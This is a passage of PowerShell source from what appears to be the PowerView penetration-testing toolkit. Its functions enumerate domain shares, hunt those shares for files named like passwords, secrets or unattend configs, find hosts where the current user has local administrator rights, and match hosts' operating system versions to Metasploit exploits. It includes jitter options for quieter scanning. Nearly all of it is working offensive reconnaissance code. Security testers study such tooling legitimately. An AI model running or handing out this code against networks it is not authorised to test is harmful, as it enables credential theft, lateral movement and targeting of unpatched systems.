)\n\n    begin {\n        if ($PSBoundParameters['Debug']) {\n            $DebugPreference = 'Continue'\n        }\n\n        # random object for delay\n        $RandNo = New-Object System.Random\n\n        Write-Verbose \"[*] Running Invoke-ShareFinder with delay of $Delay\"\n\n        # figure out the shares we want to ignore\n        [String[]] $ExcludedShares = @('')\n\n        if ($ExcludePrint) {\n            $ExcludedShares = $ExcludedShares + \"PRINT$\"\n        }\n        if ($ExcludeIPC) {\n            $ExcludedShares = $ExcludedShares + \"IPC$\"\n        }\n        if ($ExcludeStandard) {\n            $ExcludedShares = @('', \"ADMIN$\", \"IPC$\", \"C$\", \"PRINT$\")\n        }\n\n        # if we're using a host file list, read the targets in and add them to the target list\n        if($ComputerFile) {\n            $ComputerName = Get-Content -Path $ComputerFile\n        }\n\n        if(!$ComputerName) { \n            [array]$ComputerName = @()\n\n            if($Domain) {\n                $TargetDomains = @($Domain)\n            }\n            elseif($SearchForest) {\n                # get ALL the domains in the forest to search\n                $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }\n            }\n            else {\n                # use the local domain\n                $TargetDomains = @( (Get-NetDomain).name )\n            }\n                \n            ForEach ($Domain in $TargetDomains) {\n                Write-Verbose \"[*] Querying domain $Domain for hosts\"\n                $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath\n            }\n        \n            # remove any null target hosts, uniquify the list and shuffle it\n            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }\n            if($($ComputerName.count) -eq 0) {\n                throw \"No hosts found!\"\n            }\n        }\n\n        # script block that enumerates a server\n        $HostEnumBlock = {\n            param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)\n\n            # optionally check if the server is up first\n            $Up = $True\n            if($Ping) {\n                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName\n            }\n            if($Up) {\n                # get the shares for this host and check what we find\n                $Shares = Get-NetShare -ComputerName $ComputerName\n                ForEach ($Share in $Shares) {\n                    Write-Verbose \"[*] Server share: $Share\"\n                    $NetName = $Share.shi1_netname\n                    $Remark = $Share.shi1_remark\n                    $Path = '\\\\'+$ComputerName+'\\'+$NetName\n\n                    # make sure we get a real share name back\n                    if (($NetName) -and ($NetName.trim() -ne '')) {\n                        # if we're just checking for access to ADMIN$\n                        if($CheckAdmin) {\n                            if($NetName.ToUpper() -eq \"ADMIN$\") {\n                                try {\n                                    $Null = [IO.Directory]::GetFiles($Path)\n                                    \"\\\\$ComputerName\\$NetName `t- $Remark\"\n                                }\n                                catch {\n                                    Write-Verbose \"Error accessing path $Path : $_\"\n                                }\n                            }\n                        }\n                        # skip this share if it's in the exclude list\n                        elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {\n                            # see if we want to check access to this share\n                            if($CheckShareAccess) {\n                                # check if the user has access to this path\n                                try {\n                                    $Null = [IO.Directory]::GetFiles($Path)\n                                    \"\\\\$ComputerName\\$NetName `t- $Remark\"\n                                }\n                                catch {\n                                    Write-Verbose \"Error accessing path $Path : $_\"\n                                }\n                            }\n                            else {\n                                \"\\\\$ComputerName\\$NetName `t- $Remark\"\n                            }\n                        }\n                    }\n                }\n            }\n        }\n\n    }\n\n    process {\n\n        if($Threads) {\n            Write-Verbose \"Using threading with threads = $Threads\"\n\n            # if we're using threading, kick off the script block with Invoke-ThreadedFunction\n            $ScriptParams = @{\n                'Ping' = $(-not $NoPing)\n                'CheckShareAccess' = $CheckShareAccess\n                'ExcludedShares' = $ExcludedShares\n                'CheckAdmin' = $CheckAdmin\n            }\n\n            # kick off the threaded script block + arguments \n            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads\n        }\n\n        else {\n            if(-not $NoPing -and ($ComputerName.count -ne 1)) {\n                # ping all hosts in parallel\n                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}\n                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100\n            }\n\n            Write-Verbose \"[*] Total number of active hosts: $($ComputerName.count)\"\n            $Counter = 0\n\n            ForEach ($Computer in $ComputerName) {\n\n                $Counter = $Counter + 1\n\n                # sleep for our semi-randomized interval\n                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)\n\n                Write-Verbose \"[*] Enumerating server $Computer ($Counter of $($ComputerName.count))\"\n                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin\n            }\n        }\n        \n    }\n}\n\n\nfunction Invoke-FileFinder {\n<#\n    .SYNOPSIS\n\n        Finds sensitive files on the domain.\n\n        Author: @harmj0y\n        License: BSD 3-Clause\n\n    .DESCRIPTION\n\n        This function finds the local domain name for a host using Get-NetDomain,\n        queries the domain for all active machines with Get-NetComputer, grabs\n        the readable shares for each server, and recursively searches every\n        share for files with specific keywords in the name.\n        If a share list is passed, EVERY share is enumerated regardless of\n        other options.\n\n    .PARAMETER ComputerName\n\n        Host array to enumerate, passable on the pipeline.\n\n    .PARAMETER ComputerFile\n\n        File of hostnames/IPs to search.\n\n    .PARAMETER ComputerFilter\n\n        Host filter name to query AD for, wildcards accepted.\n\n    .PARAMETER ComputerADSpath\n\n        The LDAP source to search through for hosts, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER ShareList\n\n        List if \\\\HOST\\shares to search through.\n\n    .PARAMETER Terms\n\n        Terms to search for.\n\n    .PARAMETER OfficeDocs\n\n        Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)\n\n    .PARAMETER FreshEXEs\n\n        Switch. Find .EXEs accessed within the last week.\n\n    .PARAMETER LastAccessTime\n\n        Only return files with a LastAccessTime greater than this date value.\n\n    .PARAMETER LastWriteTime\n\n        Only return files with a LastWriteTime greater than this date value.\n\n    .PARAMETER CreationTime\n\n        Only return files with a CreationDate greater than this date value.\n\n    .PARAMETER IncludeC\n\n        Switch. Include any C$ shares in recursive searching (default ignore).\n\n    .PARAMETER IncludeAdmin\n\n        Switch. Include any ADMIN$ shares in recursive searching (default ignore).\n\n    .PARAMETER ExcludeFolders\n\n        Switch. Exclude folders from the search results.\n\n    .PARAMETER ExcludeHidden\n\n        Switch. Exclude hidden files and folders from the search results.\n\n    .PARAMETER CheckWriteAccess\n\n        Switch. Only returns files the current user has write access to.\n\n    .PARAMETER OutFile\n\n        Output results to a specified csv output file.\n\n    .PARAMETER NoClobber\n\n        Switch. Don't overwrite any existing output file.\n\n    .PARAMETER NoPing\n\n        Switch. Don't ping each host to ensure it's up before enumerating.\n\n    .PARAMETER Delay\n\n        Delay between enumerating hosts, defaults to 0\n\n    .PARAMETER Jitter\n\n        Jitter for the host delay, defaults to +/- 0.3\n\n    .PARAMETER Domain\n\n        Domain to query for machines, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER SearchForest\n\n        Search all domains in the forest for target users instead of just\n        a single domain.\n\n    .PARAMETER SearchSYSVOL\n\n        Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.\n\n    .PARAMETER Threads\n\n        The maximum concurrent threads to execute.\n\n    .PARAMETER UsePSDrive\n\n        Switch. Mount target remote path with temporary PSDrives.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-FileFinder\n\n        Find readable files on the domain with 'pass', 'sensitive',\n        'secret', 'admin', 'login', or 'unattend*.xml' in the name,\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-FileFinder -Domain testing\n\n        Find readable files on the 'testing' domain with 'pass', 'sensitive',\n        'secret', 'admin', 'login', or 'unattend*.xml' in the name,\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-FileFinder -IncludeC\n\n        Find readable files on the domain with 'pass', 'sensitive',\n        'secret', 'admin', 'login' or 'unattend*.xml' in the name,\n        including C$ shares.\n\n    .EXAMPLE\n\n        PS C:\\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv\n\n        Enumerate a specified share list for files with 'accounts' or\n        'ssn' in the name, and write everything to \"out.csv\"\n\n    .LINK\n        http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/\n\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,ValueFromPipeline=$True)]\n        [Alias('Hosts')]\n        [String[]]\n        $ComputerName,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [Alias('HostList')]\n        [String]\n        $ComputerFile,\n\n        [String]\n        $ComputerFilter,\n\n        [String]\n        $ComputerADSpath,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [String]\n        $ShareList,\n\n        [Switch]\n        $OfficeDocs,\n\n        [Switch]\n        $FreshEXEs,\n\n        [Alias('Terms')]\n        [String[]]\n        $SearchTerms, \n\n        [ValidateScript({Test-Path -Path $_ })]\n        [String]\n        $TermList,\n\n        [String]\n        $LastAccessTime,\n\n        [String]\n        $LastWriteTime,\n\n        [String]\n        $CreationTime,\n\n        [Switch]\n        $IncludeC,\n\n        [Switch]\n        $IncludeAdmin,\n\n        [Switch]\n        $ExcludeFolders,\n\n        [Switch]\n        $ExcludeHidden,\n\n        [Switch]\n        $CheckWriteAccess,\n\n        [String]\n        $OutFile,\n\n        [Switch]\n        $NoClobber,\n\n        [Switch]\n        $NoPing,\n\n        [UInt32]\n        $Delay = 0,\n\n        [Double]\n        $Jitter = .3,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n        \n        [Switch]\n        $SearchForest,\n\n        [Switch]\n        $SearchSYSVOL,\n\n        [ValidateRange(1,100)] \n        [Int]\n        $Threads,\n\n        [Switch]\n        $UsePSDrive\n    )\n\n    begin {\n        if ($PSBoundParameters['Debug']) {\n            $DebugPreference = 'Continue'\n        }\n\n        # random object for delay\n        $RandNo = New-Object System.Random\n\n        Write-Verbose \"[*] Running Invoke-FileFinder with delay of $Delay\"\n\n        $Shares = @()\n\n        # figure out the shares we want to ignore\n        [String[]] $ExcludedShares = @(\"C$\", \"ADMIN$\")\n\n        # see if we're specifically including any of the normally excluded sets\n        if ($IncludeC) {\n            if ($IncludeAdmin) {\n                $ExcludedShares = @()\n            }\n            else {\n                $ExcludedShares = @(\"ADMIN$\")\n            }\n        }\n\n        if ($IncludeAdmin) {\n            if ($IncludeC) {\n                $ExcludedShares = @()\n            }\n            else {\n                $ExcludedShares = @(\"C$\")\n            }\n        }\n\n        # delete any existing output file if it already exists\n        if(!$NoClobber) {\n            if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }\n        }\n\n        # if there's a set of terms specified to search for\n        if ($TermList) {\n            ForEach ($Term in Get-Content -Path $TermList) {\n                if (($Term -ne $Null) -and ($Term.trim() -ne '')) {\n                    $SearchTerms += $Term\n                }\n            }\n        }\n\n        # if we're hard-passed a set of shares\n        if($ShareList) {\n            ForEach ($Item in Get-Content -Path $ShareList) {\n                if (($Item -ne $Null) -and ($Item.trim() -ne '')) {\n                    # exclude any \"[tab]- commants\", i.e. the output from Invoke-ShareFinder\n                    $Share = $Item.Split(\"`t\")[0]\n                    $Shares += $Share\n                }\n            }\n        }\n        else {\n            # if we're using a host file list, read the targets in and add them to the target list\n            if($ComputerFile) {\n                $ComputerName = Get-Content -Path $ComputerFile\n            }\n\n            if(!$ComputerName) {\n\n                if($Domain) {\n                    $TargetDomains = @($Domain)\n                }\n                elseif($SearchForest) {\n                    # get ALL the domains in the forest to search\n                    $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }\n                }\n                else {\n                    # use the local domain\n                    $TargetDomains = @( (Get-NetDomain).name )\n                }\n\n                if($SearchSYSVOL) {\n                    ForEach ($Domain in $TargetDomains) {\n                        $DCSearchPath = \"\\\\$Domain\\SYSVOL\\\"\n                        Write-Verbose \"[*] Adding share search path $DCSearchPath\"\n                        $Shares += $DCSearchPath\n                    }\n                    if(!$SearchTerms) {\n                        # search for interesting scripts on SYSVOL\n                        $SearchTerms = @('.vbs', '.bat', '.ps1')\n                    }\n                }\n                else {\n                    [array]$ComputerName = @()\n\n                    ForEach ($Domain in $TargetDomains) {\n                        Write-Verbose \"[*] Querying domain $Domain for hosts\"\n                        $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController\n                    }\n\n                    # remove any null target hosts, uniquify the list and shuffle it\n                    $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }\n                    if($($ComputerName.Count) -eq 0) {\n                        throw \"No hosts found!\"\n                    }\n                }\n            }\n        }\n\n        # script block that enumerates shares and files on a server\n        $HostEnumBlock = {\n            param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive)\n\n            Write-Verbose \"ComputerName: $ComputerName\"\n            Write-Verbose \"ExcludedShares: $ExcludedShares\"\n            $SearchShares = @()\n\n            if($ComputerName.StartsWith(\"\\\\\")) {\n                # if a share is passed as the server\n                $SearchShares += $ComputerName\n            }\n            else {\n                # if we're enumerating the shares on the target server first\n                $Up = $True\n                if($Ping) {\n                    $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName\n                }\n                if($Up) {\n                    # get the shares for this host and display what we find\n                    $Shares = Get-NetShare -ComputerName $ComputerName\n                    ForEach ($Share in $Shares) {\n\n                        $NetName = $Share.shi1_netname\n                        $Path = '\\\\'+$ComputerName+'\\'+$NetName\n\n                        # make sure we get a real share name back\n                        if (($NetName) -and ($NetName.trim() -ne '')) {\n\n                            # skip this share if it's in the exclude list\n                            if ($ExcludedShares -NotContains $NetName.ToUpper()) {\n                                # check if the user has access to this path\n                                try {\n                                    $Null = [IO.Directory]::GetFiles($Path)\n                                    $SearchShares += $Path\n                                }\n                                catch {\n                                    Write-Verbose \"[!] No access to $Path\"\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n\n            ForEach($Share in $SearchShares) {\n                $SearchArgs =  @{\n                    'Path' = $Share\n                    'SearchTerms' = $SearchTerms\n                    'OfficeDocs' = $OfficeDocs\n                    'FreshEXEs' = $FreshEXEs\n                    'LastAccessTime' = $LastAccessTime\n                    'LastWriteTime' = $LastWriteTime\n                    'CreationTime' = $CreationTime\n                    'ExcludeFolders' = $ExcludeFolders\n                    'ExcludeHidden' = $ExcludeHidden\n                    'CheckWriteAccess' = $CheckWriteAccess\n                    'OutFile' = $OutFile\n                    'UsePSDrive' = $UsePSDrive\n                }\n\n                Find-InterestingFile @SearchArgs\n            }\n        }\n    }\n\n    process {\n\n        if($Threads) {\n            Write-Verbose \"Using threading with threads = $Threads\"\n\n            # if we're using threading, kick off the script block with Invoke-ThreadedFunction\n            $ScriptParams = @{\n                'Ping' = $(-not $NoPing)\n                'ExcludedShares' = $ExcludedShares\n                'SearchTerms' = $SearchTerms\n                'ExcludeFolders' = $ExcludeFolders\n                'OfficeDocs' = $OfficeDocs\n                'ExcludeHidden' = $ExcludeHidden\n                'FreshEXEs' = $FreshEXEs\n                'CheckWriteAccess' = $CheckWriteAccess\n                'OutFile' = $OutFile\n                'UsePSDrive' = $UsePSDrive\n            }\n\n            # kick off the threaded script block + arguments \n            if($Shares) {\n                # pass the shares as the hosts so the threaded function code doesn't have to be hacked up\n                Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads\n            }\n            else {\n                Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads\n            }\n        }\n\n        else {\n            if($Shares){\n                $ComputerName = $Shares\n            }\n            elseif(-not $NoPing -and ($ComputerName.count -gt 1)) {\n                # ping all hosts in parallel\n                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}\n                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100\n            }\n\n            Write-Verbose \"[*] Total number of active hosts: $($ComputerName.count)\"\n            $Counter = 0\n\n            $ComputerName | Where-Object {$_} | ForEach-Object {\n                Write-Verbose \"Computer: $_\"\n                $Counter = $Counter + 1\n\n                # sleep for our semi-randomized interval\n                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)\n\n                Write-Verbose \"[*] Enumerating server $_ ($Counter of $($ComputerName.count))\"\n\n                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive                \n            }\n        }\n    }\n}\n\n\nfunction Find-LocalAdminAccess {\n<#\n    .SYNOPSIS\n\n        Finds machines on the local domain where the current user has\n        local administrator access. Uses multithreading to\n        speed up enumeration.\n\n        Author: @harmj0y\n        License: BSD 3-Clause\n\n    .DESCRIPTION\n\n        This function finds the local domain name for a host using Get-NetDomain,\n        queries the domain for all active machines with Get-NetComputer, then for\n        each server it checks if the current user has local administrator\n        access using Invoke-CheckLocalAdminAccess.\n\n        Idea stolen from the local_admin_search_enum post module in\n        Metasploit written by:\n            'Brandon McCann \"zeknox\" <bmccann[at]accuvant.com>'\n            'Thomas McCarthy \"smilingraccoon\" <smilingraccoon[at]gmail.com>'\n            'Royce Davis \"r3dy\" <rdavis[at]accuvant.com>'\n\n    .PARAMETER ComputerName\n\n        Host array to enumerate, passable on the pipeline.\n\n    .PARAMETER ComputerFile\n\n        File of hostnames/IPs to search.\n\n    .PARAMETER ComputerFilter\n\n        Host filter name to query AD for, wildcards accepted.\n\n    .PARAMETER ComputerADSpath\n\n        The LDAP source to search through for hosts, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER NoPing\n\n        Switch. Don't ping each host to ensure it's up before enumerating.\n\n    .PARAMETER Delay\n\n        Delay between enumerating hosts, defaults to 0\n\n    .PARAMETER Jitter\n\n        Jitter for the host delay, defaults to +/- 0.3\n\n    .PARAMETER Domain\n\n        Domain to query for machines, defaults to the current domain.\n    \n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER SearchForest\n\n        Switch. Search all domains in the forest for target users instead of just\n        a single domain.\n\n    .PARAMETER Threads\n\n        The maximum concurrent threads to execute.\n\n    .EXAMPLE\n\n        PS C:\\> Find-LocalAdminAccess\n\n        Find machines on the local domain where the current user has local\n        administrator access.\n\n    .EXAMPLE\n\n        PS C:\\> Find-LocalAdminAccess -Threads 10\n\n        Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded.\n\n    .EXAMPLE\n\n        PS C:\\> Find-LocalAdminAccess -Domain testing\n\n        Find machines on the 'testing' domain where the current user has\n        local administrator access.\n\n    .EXAMPLE\n\n        PS C:\\> Find-LocalAdminAccess -ComputerFile hosts.txt\n\n        Find which machines in the host list the current user has local\n        administrator access.\n\n    .LINK\n\n        https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb\n        http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0,ValueFromPipeline=$True)]\n        [Alias('Hosts')]\n        [String[]]\n        $ComputerName,\n\n        [ValidateScript({Test-Path -Path $_ })]\n        [Alias('HostList')]\n        [String]\n        $ComputerFile,\n\n        [String]\n        $ComputerFilter,\n\n        [String]\n        $ComputerADSpath,\n\n        [Switch]\n        $NoPing,\n\n        [UInt32]\n        $Delay = 0,\n\n        [Double]\n        $Jitter = .3,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [Switch]\n        $SearchForest,\n\n        [ValidateRange(1,100)] \n        [Int]\n        $Threads\n    )\n\n    begin {\n        if ($PSBoundParameters['Debug']) {\n            $DebugPreference = 'Continue'\n        }\n\n        # random object for delay\n        $RandNo = New-Object System.Random\n\n        Write-Verbose \"[*] Running Find-LocalAdminAccess with delay of $Delay\"\n\n        # if we're using a host list, read the targets in and add them to the target list\n        if($ComputerFile) {\n            $ComputerName = Get-Content -Path $ComputerFile\n        }\n\n        if(!$ComputerName) {\n            [array]$ComputerName = @()\n\n            if($Domain) {\n                $TargetDomains = @($Domain)\n            }\n            elseif($SearchForest) {\n                # get ALL the domains in the forest to search\n                $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name }\n            }\n            else {\n                # use the local domain\n                $TargetDomains = @( (Get-NetDomain).name )\n            }\n\n            ForEach ($Domain in $TargetDomains) {\n                Write-Verbose \"[*] Querying domain $Domain for hosts\"\n                $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController\n            }\n        \n            # remove any null target hosts, uniquify the list and shuffle it\n            $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random }\n            if($($ComputerName.Count) -eq 0) {\n                throw \"No hosts found!\"\n            }\n        }\n\n        # script block that enumerates a server\n        $HostEnumBlock = {\n            param($ComputerName, $Ping)\n\n            $Up = $True\n            if($Ping) {\n                $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName\n            }\n            if($Up) {\n                # check if the current user has local admin access to this server\n                $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName\n                if ($Access.IsAdmin) {\n                    $ComputerName\n                }\n            }\n        }\n\n    }\n\n    process {\n\n        if($Threads) {\n            Write-Verbose \"Using threading with threads = $Threads\"\n\n            # if we're using threading, kick off the script block with Invoke-ThreadedFunction\n            $ScriptParams = @{\n                'Ping' = $(-not $NoPing)\n            }\n\n            # kick off the threaded script block + arguments \n            Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads\n        }\n\n        else {\n            if(-not $NoPing -and ($ComputerName.count -ne 1)) {\n                # ping all hosts in parallel\n                $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}\n                $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100\n            }\n\n            Write-Verbose \"[*] Total number of active hosts: $($ComputerName.count)\"\n            $Counter = 0\n\n            ForEach ($Computer in $ComputerName) {\n\n                $Counter = $Counter + 1\n\n                # sleep for our semi-randomized interval\n                Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)\n\n                Write-Verbose \"[*] Enumerating server $Computer ($Counter of $($ComputerName.count))\"\n                Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False\n            }\n        }\n    }\n}\n\n\nfunction Get-ExploitableSystem {\n<#\n    .Synopsis\n\n        This module will query Active Directory for the hostname, OS version, and service pack level  \n        for each computer account.  That information is then cross-referenced against a list of common\n        Metasploit exploits that can be used during penetration testing.\n\n    .DESCRIPTION\n\n        This module will query Active Directory for the hostname, OS version, and service pack level  \n        for each computer account.  That information is then cross-referenced against a list of common\n        Metasploit exploits that can be used during penetration testing.  The script filters out disabled\n        domain computers and provides the computer's last logon time to help determine if it's been \n        decommissioned.  Also, since the script uses data tables to output affected systems the results\n        can be easily piped to other commands such as test-connection or a Export-Csv.\n\n    .PARAMETER ComputerName\n\n        Return computers with a specific name, wildcards accepted.\n\n    .PARAMETER SPN\n\n        Return computers with a specific service principal name, wildcards accepted.\n\n    .PARAMETER OperatingSystem\n\n        Return computers with a specific operating system, wildcards accepted.\n\n    .PARAMETER ServicePack\n\n        Return computers with a specific service pack, wildcards accepted.\n\n    .PARAMETER Filter\n\n        A customized ldap filter string to use, e.g. \"(description=*admin*)\"\n\n    .PARAMETER Ping\n\n        Switch. Ping each host to ensure it's up before enumerating.\n\n    .PARAMETER Domain\n\n        The domain to query for computers, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER Unconstrained\n\n        Switch. Return computer objects that have unconstrained delegation.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n       \n        The example below shows the standard command usage.  Disabled system are excluded by default, but\n        the \"LastLgon\" column can be used to determine which systems are live.  Usually, if a system hasn't \n        logged on for two or more weeks it's been decommissioned.      \n        PS C:\\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\\user | Format-Table -AutoSize\n        [*] Grabbing computer accounts from Active Directory...\n        [*] Loading exploit list for critical missing patches...\n        [*] Checking computers for vulnerable OS and SP levels...\n        [+] Found 5 potentially vulnerable systems!\n        ComputerName          OperatingSystem         ServicePack    LastLogon            MsfModule                                      CVE                      \n        ------------          ---------------         -----------    ---------            ---------                                      ---                      \n        ADS.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 5:46:52 PM  exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....\n        ADS.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 5:46:52 PM  exploit/windows/smb/ms08_067_netapi            http://www.cvedetails....\n        ADS.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 5:46:52 PM  exploit/windows/smb/ms10_061_spoolss           http://www.cvedetails....\n        LVA.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 1:44:46 PM  exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....\n        LVA.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 1:44:46 PM  exploit/windows/smb/ms08_067_netapi            http://www.cvedetails....\n        LVA.demo.com          Windows Server 2003     Service Pack 2 4/8/2015 1:44:46 PM  exploit/windows/smb/ms10_061_spoolss           http://www.cvedetails....\n        assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi            http://www.cvedetails....\n        assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss           http://www.cvedetails....\n        HVA.demo.com          Windows Server 2003     Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....\n        HVA.demo.com          Windows Server 2003     Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi            http://www.cvedetails....\n        HVA.demo.com          Windows Server 2003     Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss           http://www.cvedetails....\n        DB1.demo.com          Windows Server 2003     Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails....\n        DB1.demo.com          Windows Server 2003     Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi            http://www.cvedetails....\n        DB1.demo.com          Windows Server 2003     Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss           http://www.cvedetails....                     \n\n    .EXAMPLE\n\n        PS C:\\> Get-ExploitableSystem | Export-Csv c:\\temp\\output.csv -NoTypeInformation\n\n        How to write the output to a csv file.\n\n    .EXAMPLE\n\n        PS C:\\> Get-ExploitableSystem -Domain testlab.local -Ping\n\n        Return a set of live hosts from the testlab.local domain\n\n     .LINK\n       \n       http://www.netspi.com\n       https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1\n       \n     .NOTES\n       \n       Author:  Scott Sutherland - 2015, NetSPI\n                Modifications to integrate into PowerView by @harmj0y\n       Version: Get-ExploitableSystem.psm1 v1.1\n       Comments: The technique used to query LDAP was based on the \"Get-AuditDSComputerAccount\" \n       function found in Carols Perez's PoshSec-Mod project.  The general idea is based off of  \n       Will Schroeder's \"Invoke-FindVulnSystems\" function from the PowerView toolkit.\n#>\n    [CmdletBinding()]\n    Param(\n        [Parameter(ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [String]\n        $ComputerName = '*',\n\n        [String]\n        $SPN,\n\n        [String]\n        $OperatingSystem = '*',\n\n        [String]\n        $ServicePack = '*',\n\n        [String]\n        $Filter,\n\n        [Switch]\n        $Ping,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [Switch]\n        $Unconstrained,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    Write-Verbose \"[*] Grabbing computer accounts from Active Directory...\"\n\n    # Create data table for hostnames, os, and service packs from LDAP\n    $TableAdsComputers = New-Object System.Data.DataTable \n    $Null = $TableAdsComputers.Columns.Add('Hostname')       \n    $Null = $TableAdsComputers.Columns.Add('OperatingSystem')\n    $Null = $TableAdsComputers.Columns.Add('ServicePack')\n    $Null = $TableAdsComputers.Columns.Add('LastLogon')\n\n    Get-NetComputer -FullData @PSBoundParameters | ForEach-Object {\n\n        $CurrentHost = $_.dnshostname\n        $CurrentOs = $_.operatingsystem\n        $CurrentSp = $_.operatingsystemservicepack\n        $CurrentLast = $_.lastlogon\n        $CurrentUac = $_.useraccountcontrol\n\n        $CurrentUacBin = 